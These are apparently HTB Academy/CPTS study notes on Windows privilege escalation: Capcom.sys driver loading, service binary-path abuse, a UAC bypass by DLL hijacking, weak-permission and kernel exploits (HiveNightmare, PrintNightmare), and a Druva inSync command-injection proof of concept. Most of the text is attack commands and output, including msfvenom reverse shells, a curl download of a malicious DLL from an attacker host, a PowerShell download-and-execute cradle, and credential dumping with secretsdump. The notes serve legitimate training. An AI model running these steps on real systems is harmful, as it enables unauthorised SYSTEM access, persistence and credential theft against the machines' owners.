4. Navigate to ExploitCapcom Directory

cd ExploitCapcom
ExploitCapcom.exe

# Expected output:
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0000000000000070
[*] Shellcode was placed at 0000016476420008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program

5. Retrieve Flag from SYSTEM Shell

type C:\Users\Administrator\Desktop\flag.txt

# Flag: Pr1nt_0p3rat0rs_ftw!

🔄 Alternative Methods

Non-GUI Exploitation

// Modify ExploitCapcom.cpp line 292 for reverse shell:
TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

// Generate reverse shell with msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=443 -f exe -o revshell.exe

Automated Approach

# Single command with EoPLoadDriver
EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

# Then exploit with ExploitCapcom.exe

🧹 Cleanup

# Remove registry key
reg delete HKCU\System\CurrentControlSet\Capcom

# Confirm deletion:
Permanently delete the registry key? Yes
The operation completed successfully.

⚠️ Limitations

Windows Version Restrictions

# MITIGATED: Windows 10 Version 1803+
# SeLoadDriverPrivilege no longer exploitable
# Cannot reference HKEY_CURRENT_USER registry keys

Detection Indicators

# Monitor for:
- Driver loading events
- Registry modifications under CurrentControlSet
- Capcom.sys driver presence
- Privilege escalation to SYSTEM

💡 Key Takeaways

  1. Print Operators group provides SeLoadDriverPrivilege
  2. Capcom.sys driver enables SYSTEM privilege escalation
  3. Registry configuration required for driver loading
  4. Multiple tools available for automation
  5. Mitigated on Windows 10 1803+

Print Operators group exploitation relies on vulnerable driver loading capabilities, effective primarily on legacy Windows systems.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/print-operators.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Server Operators

🎯 Overview

Server Operators group allows administration of Windows servers without Domain Admin privileges. Members can log in locally to Domain Controllers and have full control over local services, enabling privilege escalation through service binary path modification.

🔑 Key Privileges & Capabilities

# Server Operators privileges:
SeBackupPrivilege            # Backup files and directories
SeRestorePrivilege           # Restore files and directories
SERVICE_ALL_ACCESS           # Full control over local services
# Plus: Log on locally to servers/DCs, control services

🔧 Service Control Exploitation

Service Reconnaissance

# Query service configuration
sc qc AppReadiness

# Expected output:
SERVICE_NAME: AppReadiness
TYPE               : 20  WIN32_SHARE_PROCESS
START_TYPE         : 3   DEMAND_START
BINARY_PATH_NAME   : C:\Windows\System32\svchost.exe -k AppReadiness -p
SERVICE_START_NAME : LocalSystem

Verify Service Permissions

# Check service permissions with PsService
c:\Tools\PsService.exe security AppReadiness

# Key permission:
[ALLOW] BUILTIN\Server Operators
        All                    # ← SERVICE_ALL_ACCESS

🚀 Binary Path Attack

Current Admin Group Check

# Check current administrators group
net localgroup Administrators

# Expected members:
Administrator
Domain Admins
Enterprise Admins

Modify Service Binary Path

# Change binary path to add user to local admins
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

# Expected result:
[SC] ChangeServiceConfig SUCCESS

Execute Service (Expected to Fail)

# Start service to execute command
sc start AppReadiness

# Expected failure:
[SC] StartService FAILED 1053:
The service did not respond to the start or control request in a timely fashion.

Verify Privilege Escalation

# Check administrators group membership
net localgroup Administrators

# New member added:
Administrator
Domain Admins
Enterprise Admins
server_adm                    # ← Successfully added

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: server_adm:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Target Service: AppReadiness
  • Flag Location: c:\Users\Administrator\Desktop\ServerOperators\flag.txt

Quick Steps

# 1. RDP connect and verify current permissions
net localgroup Administrators

# 2. Modify AppReadiness service binary path
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add"

# 3. Start service (will fail but execute command)
sc start AppReadiness

# 4. Verify local admin access
net localgroup Administrators

# 5. Access flag as local administrator
type c:\Users\Administrator\Desktop\ServerOperators\flag.txt

🏆 Post-Exploitation Capabilities

Domain Controller Access

# Verify Domain Controller access with crackmapexec
crackmapexec smb TARGET_IP -u server_adm -p 'HTB_@cademy_stdnt!'

# Expected result:
SMB         TARGET_IP     445    WINLPE-DC01      [+] INLANEFREIGHT.LOCAL\server_adm:HTB_@cademy_stdnt! (Pwn3d!)

Domain Credential Extraction

# Extract domain credentials using secretsdump.py
secretsdump.py server_adm@TARGET_IP -just-dc-user administrator

# Extract Administrator hash:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::

🔄 Alternative Attack Vectors

Other Target Services

# Identify other controllable services
sc query state= all | findstr "SERVICE_NAME"

# Common targets with SYSTEM privileges:
- Themes
- BITS
- Schedule
- EventLog

Alternative Payloads

# Reverse shell payload
sc config SERVICE binPath= "cmd /c powershell -nop -w hidden -e BASE64_PAYLOAD"

# Add domain admin
sc config SERVICE binPath= "cmd /c net group 'Domain Admins' server_adm /add /domain"

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Service configuration changes (Event ID 7040)
- Unexpected local group modifications
- Service start failures with privilege escalation
- Binary path modifications to cmd.exe

Defensive Measures

# Mitigation strategies:
- Limit Server Operators group membership
- Monitor service configuration changes
- Implement service hardening
- Use least-privilege principles

💡 Key Takeaways

  1. Server Operators group provides SERVICE_ALL_ACCESS over local services
  2. Binary path modification enables command execution as SYSTEM
  3. Local administrator access leads to Domain Controller compromise
  4. SeBackupPrivilege provides additional attack vectors
  5. High-impact group requiring careful access control

Server Operators group exploitation leverages service control capabilities for immediate local administrator access and potential domain compromise.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/server-operators.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

UAC Bypass

🎯 Overview

User Account Control (UAC) provides consent prompts for elevated activities but is not a security boundary. With Admin Approval Mode (AAM), admin users receive two tokens - standard and privileged. UAC bypasses exploit auto-elevating binaries and DLL hijacking to gain elevated privileges without prompts.

🔑 UAC Fundamentals

Admin Approval Mode (AAM)

# Standard user token (default context)
whoami /priv

# Limited privileges:
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       Enabled
SeUndockPrivilege             Disabled

UAC Configuration Check

# Check if UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
# EnableLUA    REG_DWORD    0x1 (Enabled)

# Check UAC level
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
# 0x5 = Always notify (highest level)
# 0x2 = Prompt for consent for non-Windows binaries
# 0x0 = Elevate without prompting

🔧 DLL Hijacking Technique (UACME #54)

Windows Build Assessment

# Check Windows version
[environment]::OSVersion.Version

# Target: Windows 10 build 14393+ (Version 1607)
Major  Minor  Build  Revision
10     0      14393  0

DLL Search Order Exploitation

# Examine PATH variable
cmd /c echo %PATH%

# Key target: User-writable WindowsApps folder
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\

Target Binary Analysis

# SystemPropertiesAdvanced.exe (32-bit) auto-elevates
# Missing DLL: srrstr.dll (System Restore functionality)
# Search order: App directory → System32 → Windows → PATH

🚀 Exploitation Process

1. Generate Malicious DLL

# Create reverse shell DLL
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACK_IP LPORT=8443 -f dll > srrstr.dll

# Host DLL via HTTP server
sudo python3 -m http.server 8080

2. Deploy DLL to Target

# Download to user-writable PATH location
curl http://ATTACK_IP:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

3. Test Standard Execution

# Test with rundll32 (standard privileges)
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll

# Expected result: Normal user privileges

4. UAC Bypass Execution

# Clean up rundll32 processes first
tasklist /svc | findstr "rundll32"
taskkill /PID [PID] /F

# Execute 32-bit SystemPropertiesAdvanced.exe
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: sarah:HTB_@cademy_stdnt!
  • Access Method: RDP
  • User Context: Local administrator with UAC enabled
  • Flag Location: Desktop of sarah user

Complete Walkthrough

# 1. Set up attack infrastructure
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
sudo python3 -m http.server 8080
nc -lvnp 8443

# 2. RDP to target and download DLL
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"

# 3. Test standard execution (limited privileges)
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll

# 4. Clean processes and execute UAC bypass
taskkill /PID [rundll32_PID] /F
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe

# 5. Verify elevated privileges in reverse shell
whoami /priv
# Should show extensive admin privileges:
# SeDebugPrivilege, SeBackupPrivilege, SeRestorePrivilege, etc.

# 6. Access flag
type C:\Users\sarah\Desktop\flag.txt

🔄 Alternative UAC Bypasses

UACME Project Techniques

# Popular techniques by Windows version:
- Technique #23: perfmon.exe + mmc.exe (Win 7-10)
- Technique #33: fodhelper.exe (Win 10)
- Technique #43: computerdefaults.exe (Win 10)
- Technique #54: SystemPropertiesAdvanced.exe (Win 10 14393+)

Registry-Based Bypasses

# fodhelper.exe bypass (Technique #33)
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
REG ADD HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /f
fodhelper.exe

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Unusual DLL loads from user-writable paths
- Auto-elevating binary executions
- Registry modifications in HKCU\Software\Classes
- Process creation with elevation without UAC prompt

Defensive Measures

# Security configurations:
- Set UAC to "Always notify" (ConsentPromptBehaviorAdmin = 0x2)
- Monitor auto-elevating binaries
- Implement Application Control policies
- Restrict user PATH modifications

💡 Key Takeaways

  1. UAC is not a security boundary - convenience feature only
  2. Admin Approval Mode creates dual-token scenario
  3. Auto-elevating binaries can be exploited via DLL hijacking
  4. PATH manipulation enables user-controlled DLL loading
  5. Multiple bypass techniques exist for different Windows versions

UAC bypasses exploit design flaws in auto-elevating mechanisms, enabling privilege escalation without user consent prompts.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/uac-bypass.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Weak Permissions

🎯 Overview

Weak permissions are common in third-party software and custom applications. Services typically run with SYSTEM privileges, making permission flaws a direct path to complete system control. Key vectors include file system ACLs, service permissions, unquoted paths, registry ACLs, and autorun binaries.

🔧 Permissive File System ACLs

Service Binary Discovery

# Use SharpUp to identify vulnerable service binaries
.\SharpUp.exe audit

# Example output:
Name             : SecurityService
DisplayName      : PC Security Management Service
PathName         : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
State            : Stopped
StartMode        : Auto

Permission Verification

# Check file permissions with icacls
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"

# Vulnerable example:
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
                                                     Everyone:(I)(F)
                                                     NT AUTHORITY\SYSTEM:(I)(F)
# (F) = Full Control for Users and Everyone

Binary Replacement Attack

# Backup original binary
copy "C:\Program Files (x86)\PCProtect\SecurityService.exe" SecurityService.exe.bak

# Generate malicious binary
msfvenom -p windows/shell_reverse_tcp LHOST=ATTACK_IP LPORT=4444 -f exe > malicious.exe

# Replace service binary
copy /Y malicious.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"

# Start service for SYSTEM shell
sc start SecurityService

🛠️ Weak Service Permissions

Service Permission Enumeration

# Check service permissions with AccessChk
accesschk.exe /accepteula -quvcw WindscribeService

# Vulnerable output:
WindscribeService
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS    # ← Full control for all users

Binary Path Modification Attack

# Check current local admin group
net localgroup administrators

# Modify service binary path
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

# Stop and start service to execute command
sc stop WindscribeService
sc start WindscribeService

# Verify privilege escalation
net localgroup administrators
# htb-student should now be listed

Service Cleanup

# Restore original binary path
sc config WindscribeService binpath="C:\Program Files (x86)\Windscribe\WindscribeService.exe"

# Start service normally
sc start WindscribeService

📁 Unquoted Service Path

Path Discovery

# Find unquoted service paths
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

# Example vulnerable path:
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

Execution Order Analysis

# Windows searches for executables in this order:
C:\Program.exe
C:\Program Files (x86)\System.exe
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe

# Limitation: Requires admin privileges to write to root or Program Files

🔑 Permissive Registry ACLs

Registry Service Key Enumeration

# Check for weak registry ACLs
accesschk.exe /accepteula "htb-student" -kvuqsw hklm\System\CurrentControlSet\services

# Vulnerable example:
RW HKLM\System\CurrentControlSet\services\ModelManagerService
        KEY_ALL_ACCESS

Registry Modification Attack

# Modify service ImagePath in registry
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\htb-student\malicious.exe"

# Restart service or system for execution

🚀 Modifiable Registry Autorun Binary

Autorun Program Discovery

# Check startup programs
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl

# Example autorun locations:
- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (System-wide)
- HKU\S-1-5-21-...\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (User-specific)

Autorun Exploitation

# Check permissions on autorun binary
icacls "C:\Program Files (x86)\Windscribe\Windscribe.exe"

# If writable, replace with malicious binary
# Executes when target user logs in

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Escalate privileges using weak permissions
  • Flag Location: C:\Users\Administrator\Desktop\WeakPerms\flag.txt

Complete Walkthrough

# 1. RDP connect and enumerate services
.\SharpUp.exe audit

# 2. Check for weak service permissions
accesschk.exe /accepteula -quvcw [SERVICE_NAME]

# 3. Identify exploitable service (e.g., WindscribeService)
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"

# 4. Execute privilege escalation
sc stop WindscribeService
sc start WindscribeService

# 5. Verify admin access
net localgroup administrators

# 6. Access flag as administrator
type C:\Users\Administrator\Desktop\WeakPerms\flag.txt

# 7. Clean up (optional)
sc config WindscribeService binpath="[ORIGINAL_PATH]"
net localgroup administrators htb-student /delete

🔄 Alternative Techniques

PowerShell Service Enumeration

# Get services with weak permissions
Get-WmiObject win32_service | Select-Object Name, DisplayName, PathName, StartMode | Where-Object {$_.StartMode -eq "Auto"}

Manual Permission Checks

# Check file permissions
icacls "C:\Program Files\Application\service.exe"

# Check service permissions
sc sdshow [SERVICE_NAME]

# Check registry permissions
reg query HKLM\System\CurrentControlSet\Services\[SERVICE] /s

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Service configuration changes (Event ID 7040)
- Unusual binary modifications in Program Files
- Registry modifications in service keys
- Privilege escalation events

Defensive Measures

# Security hardening:
- Implement least privilege for service accounts
- Regular permission audits on critical binaries
- Monitor service configuration changes
- Restrict write access to system directories
- Use Application Control policies

💡 Key Takeaways

  1. Third-party software commonly has weak permissions
  2. Service binaries are high-value targets (SYSTEM privileges)
  3. Multiple attack vectors - files, services, registry, autorun
  4. AccessChk and SharpUp are essential enumeration tools
  5. Cleanup important to avoid detection and maintain operations

Weak permissions exploitation leverages misconfigurations in file systems, services, and registry to achieve privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/weak-permissions.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Kernel Exploits

🎯 Overview

Kernel exploits leverage vulnerabilities in the Windows kernel to gain SYSTEM privileges. Historical Windows systems have numerous known exploits, while modern systems have fewer but still critical vulnerabilities. 100% patch compliance is rarely achieved, creating opportunities for local privilege escalation.

📊 Historical Vulnerability Landscape

Major Exploit Families by Windows Version

# Legacy Systems (High Exploit Count):
Windows XP/2003MS08-067, MS08-068, MS09-012, MS10-015, MS11-046
Windows Vista/2008MS08-025, MS09-050, MS10-059, MS10-092
Windows 7/2008R2   → MS11-011, MS13-005, MS13-053, MS14-058, MS15-051
Windows 8/8.1/2012MS13-081, MS14-040, MS15-076, MS16-032

# Modern Systems (Fewer but Critical):
Windows 10/2016/2019MS17-010, CVE-2021-36934, CVE-2021-1675, CVE-2020-0668

Evolution Pattern

# Vulnerability trends:
- Legacy systems: 30+ known kernel exploits
- Windows 7: 15+ exploits (still common in enterprise)
- Windows 10: 5+ critical exploits (ongoing discoveries)
- Server 2019: Active research target with new findings

🔥 Notable Legacy Vulnerabilities

MS08-067 (Conficker/Legacy)

# Remote Code Execution in "Server" service
- Affected: Windows XP/Vista/2003/2008
- Impact: Unauthenticated RCE as SYSTEM
- Usage: Remote exploit or local port forward (445)
- Status: Still found in medical/industrial environments

MS17-010 (EternalBlue)

# SMBv1 Protocol Vulnerability
- Affected: Windows XP through Server 2016
- Impact: Remote code execution as SYSTEM
- Vector: SMB protocol mishandling crafted packets
- Usage: Direct remote exploit or local privilege escalation

💀 Modern Critical Vulnerabilities

CVE-2021-36934 (HiveNightmare/SeriousSam)

# Registry Hive Access Vulnerability
- Affected: Windows 10 (specific builds)
- Impact: ANY user can read SAM/SYSTEM/SECURITY hives
- Requirement: Shadow copies present (default on most systems)

# Detection:
icacls c:\Windows\System32\config\SAM
# Vulnerable if: BUILTIN\Users:(I)(RX)

# Exploitation:
.\HiveNightmare.exe
# Creates: SAM-DATE, SYSTEM-DATE, SECURITY-DATE files

# Hash extraction:
impacket-secretsdump -sam SAM-DATE -system SYSTEM-DATE -security SECURITY-DATE local

CVE-2021-1675 (PrintNightmare)

# Print Spooler RPC Vulnerability
- Affected: All Windows versions with Spooler service
- Impact: Remote code execution as SYSTEM
- Vector: RpcAddPrinterDriver abuse

# Detection:
ls \\localhost\pipe\spoolss    # Check if Spooler running

# PowerShell exploitation:
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"

# Verification:
net user hacker    # Should show local administrator

CVE-2020-0668 (Service Tracing)

# Arbitrary File Move Vulnerability
- Affected: Windows 10 (multiple builds)
- Impact: Privileged file write leading to code execution
- Vector: Windows Service Tracing MaxFileSize manipulation

# Prerequisites:
- Third-party service binary (e.g., Mozilla Maintenance Service)
- Unprivileged startable service running as SYSTEM

# Exploitation chain:
1. Generate malicious binary: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f exe
2. Execute exploit: CVE-2020-0668.exe source.exe "target_service_path"
3. Overwrite with clean malicious binary
4. Start service for SYSTEM shell

🔍 Patch Enumeration

System Update Analysis

# Multiple methods for patch assessment:
systeminfo                    # Comprehensive system information
wmic qfe list brief           # Quick Fix Engineering (patches)
Get-Hotfix                    # PowerShell patch enumeration

# Example output analysis:
wmic qfe list brief
Description      HotFixID   InstallDate  InstalledBy
Security Update  KB5000808               NT AUTHORITY\SYSTEM

# Research patches:
# Search KB numbers in Microsoft Update Catalog
# Cross-reference with exploit databases

Vulnerability Assessment Workflow

# 1. Enumerate system version
[environment]::OSVersion.Version

# 2. List installed patches
wmic qfe list brief | find "KB"

# 3. Cross-reference with vulnerability matrices
# Check exploit databases for missing patches

# 4. Prioritize based on:
- Local privilege escalation vectors
- Available exploit code
- System architecture compatibility

🎯 HTB Academy Lab Solution

Lab Environment

  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Access Method: RDP
  • Objective: Escalate to NT AUTHORITY\SYSTEM using 3 different kernel exploits
  • Flag Location: Administrator Desktop

Complete Walkthrough

Method 1: HiveNightmare (CVE-2021-36934)

# 1. Check vulnerability
icacls c:\Windows\System32\config\SAM
# Look for: BUILTIN\Users:(I)(RX)

# 2. Execute exploit
.\HiveNightmare.exe

# 3. Transfer files and extract hashes
# Use extracted hashes for authentication

Method 2: PrintNightmare (CVE-2021-1675)

# 1. Verify Spooler service
ls \\localhost\pipe\spoolss

# 2. Execute PowerShell exploit
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "admin123" -NewPassword "Password123!"

# 3. Login with new admin user or use privileges

Method 3: CVE-2020-0668 (File Move)

# 1. Generate malicious service binary
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACK_IP LPORT=4444 -f exe > malicious.exe

# 2. Execute privilege escalation
.\CVE-2020-0668.exe C:\Users\htb-student\Desktop\malicious.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"

# 3. Start service for SYSTEM access
net start MozillaMaintenance

# 4. Access Administrator Desktop flag
type C:\Users\Administrator\Desktop\flag.txt

🛠️ Exploitation Tools & Techniques

Essential Tools

# Kernel exploit frameworks:
- Windows-Exploit-Suggester    # Patch analysis
- Sherlock.ps1                 # PowerShell exploit suggester  
- Watson                       # .NET exploit suggester
- Metasploit local exploits    # Automated exploitation

# Manual analysis:
- systeminfo + online databases
- Microsoft Update Catalog research
- CVE databases and PoC repositories

Exploitation Strategy

# 1. System reconnaissance
systeminfo | findstr /B "OS Name" "OS Version" "System Type"

# 2. Patch analysis
wmic qfe list brief

# 3. Exploit selection based on:
- Windows version/architecture
- Available patches
- Service requirements
- Stealth considerations

# 4. Execution methodology:
- Test in isolated environment
- Understand exploit requirements
- Prepare post-exploitation steps
- Plan cleanup procedures

⚠️ Detection & Defense

Detection Indicators

# Monitor for:
- Unusual service manipulation
- Registry hive access patterns
- Printer driver installation attempts
- Privilege escalation events (Event ID 4672)
- Process creation with SYSTEM context

Defensive Measures

# Security hardening:
- Maintain current patch levels
- Implement defense-in-depth
- Monitor for exploit artifacts
- Disable unnecessary services (Print Spooler if not needed)
- Regular vulnerability assessments
- Application whitelisting

💡 Key Takeaways

  1. Legacy systems have extensive exploit surface area
  2. Modern systems still vulnerable to critical flaws
  3. Patch management is rarely 100% effective
  4. Local port forwarding can enable remote exploits
  5. Multiple exploitation paths often available
  6. Post-exploitation cleanup essential for stealth

Kernel exploits remain a viable privilege escalation vector due to the complexity of maintaining perfect patch compliance in enterprise environments.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/windows-privilege-escalation/kernel-exploits.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Vulnerable Services

🎯 Overview

Vulnerable third-party services provide privilege escalation opportunities even on well-patched systems. Users installing software or organizations using vulnerable applications create attack vectors. Many third-party services run with SYSTEM privileges, making them high-value targets for local privilege escalation.

🔍 Third-Party Software Enumeration

Installed Programs Discovery

# Enumerate installed applications
wmic product get name

# Example output with vulnerable software:
Name
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910
VMware Tools
Druva inSync 6.6.3                    # ← Vulnerable version
Microsoft Update Health Tools

Service Process Mapping

# Check for running services on specific ports
netstat -ano | findstr 6064

# Expected output:
TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324

# Map process ID to running process
get-process -Id 3324

# Verify service details
get-service | ? {$_.DisplayName -like 'Druva*'}

💥 Druva inSync 6.6.3 Exploitation

Vulnerability Details

# CVE Information:
- Application: Druva inSync Client (backup/eDiscovery)
- Vulnerable Version: 6.6.3
- Service Context: NT AUTHORITY\SYSTEM
- Attack Vector: Command injection via RPC service
- Local Port: 6064
- Impact: Remote code execution as SYSTEM

PowerShell Exploit PoC

# Basic command injection template
$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"    # ← Modify this command

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

🎯 HTB Academy Lab Solution

Lab Environment

  • Target: 10.129.223.93 (ACADEMY-WINLPE-WS01)
  • Credentials: htb-student:HTB_@cademy_stdnt!
  • Access Method: xfreerdp
  • Vulnerable Service: Druva inSync 6.6.3 (running on port 6064)
  • Flag Location: C:\Users\Administrator\Desktop\VulServices\flag.txt
  • Flag: Aud1t_th0se_th1rd_paRty_s3rvices!

Detailed Walkthrough

1. Connect via RDP

# Connect to target using xfreerdp
xfreerdp /v:10.129.43.44 /u:htb-student /p:HTB_@cademy_stdnt!

# Expected output:
[16:18:25:879] [4321:4323] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpdr
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[16:18:25:880] [4321:4323] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr

2. Enumerate Druva inSync Service

# Open PowerShell and find process listening on port 6064
netstat -ano | findstr 6064

# Expected output:
TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3416
TCP    127.0.0.1:6064         127.0.0.1:55619        ESTABLISHED     3416
TCP    127.0.0.1:55619        127.0.0.1:6064         ESTABLISHED     3984
TCP    127.0.0.1:62905        127.0.0.1:6064         TIME_WAIT       0
TCP    127.0.0.1:62906        127.0.0.1:6064         TIME_WAIT       0

# Map process ID to running process (use PID from netstat output)
get-process -id 3416

# Expected output:
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    143       9     1420       6476              3416   0 inSyncCPHwnet64

# Verify Druva service is running
get-service | ? {$_.DisplayName -like 'Druva*'}

# Expected output:
Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service

3. Prepare Attack Infrastructure on Pwnbox

# Download Invoke-PowerShellTcp.ps1 from GitHub and rename to shell.ps1
# Add this line at the bottom of shell.ps1:
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.80 -Port 9443

# Start Python HTTP server in same directory as shell.ps1
python3 -m http.server 8080

# Expected output:
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

4. Configure Druva Exploit Script

# On Windows target, use File Explorer to navigate to C:\Tools
# Edit Druva.ps1 script with Notepad
# Replace IP address and port with Pwnbox IP address

# The Druva.ps1 script should be modified to contain:
$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.80:8080/shell.ps1')"
# (Replace 10.10.14.80 with your actual Pwnbox IP)

5. Start Netcat Listener on Pwnbox

# Start listener on same port as specified in shell.ps1
nc -lvnp 9443

# Expected output:
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::9443
Ncat: Listening on 0.0.0.0:9443

6. Execute Druva Exploit

